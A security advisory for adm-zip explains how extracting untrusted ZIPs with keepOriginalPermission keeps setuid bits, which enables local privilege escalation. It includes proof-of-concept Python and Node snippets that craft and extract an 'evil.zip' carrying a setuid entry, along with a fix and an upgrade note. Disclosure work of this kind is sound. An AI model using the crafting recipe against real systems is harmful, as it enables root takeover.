CVE-2026-102282: adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
## Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. ## Details The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit: ```js // headers/entryHeader.js:187 get fileAttr() { return (_attr || 0) >> 16 & 0xfff; } ``` `0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem. When the flag is on, that value goes straight to the write: ```js // adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo) const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined; filetools.writeFileTo(target, content, overwrite, fileAttr); ``` ```js // util/utils.js:94 self.fs.chmodSync(path, attr || 0o666); ``` No `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance. ## PoC Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux. 1. Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it): ```bash python3 -c " import zipfile zi = zipfile.ZipInfo('pysuidbin') zi.external_attr = 0o4755 << 16 with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr(zi, '#!/bin/sh\nid\n') " ``` 2. Extract with the flag enabled: ```js const AdmZip = require('adm-zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); const fs = require('fs'); const st = fs.statSync('/tmp/out/pysuidbin'); console.log((st.mode & 0o7777).toString(8)); // => 4755 (setuid bit set — the file is root-owned if the extractor runs as root) ``` 3. Control — same zip, default extraction (`keepOriginalPermission=false`): mode comes out `0666`, no setuid. The flag is the enabler. Alternative supply path, if the zip is built in-process with adm-zip's own API: ```js const zip = new AdmZip(); zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755); zip.writeZip('evil.zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); // same result: stat mode & 0o7777 === 0o4755 ``` ## Impact Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering. Realistic chain: 1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file). 2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. 3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment. 4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root. Who is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium Suggested fix, one line in the getter: ```js get fileAttr() { return (_attr >> 16) & 0o777; } ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: adm-zip 0.6.1.
Technical details
- Vendor
- Not specified
- Product
- adm-zip
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source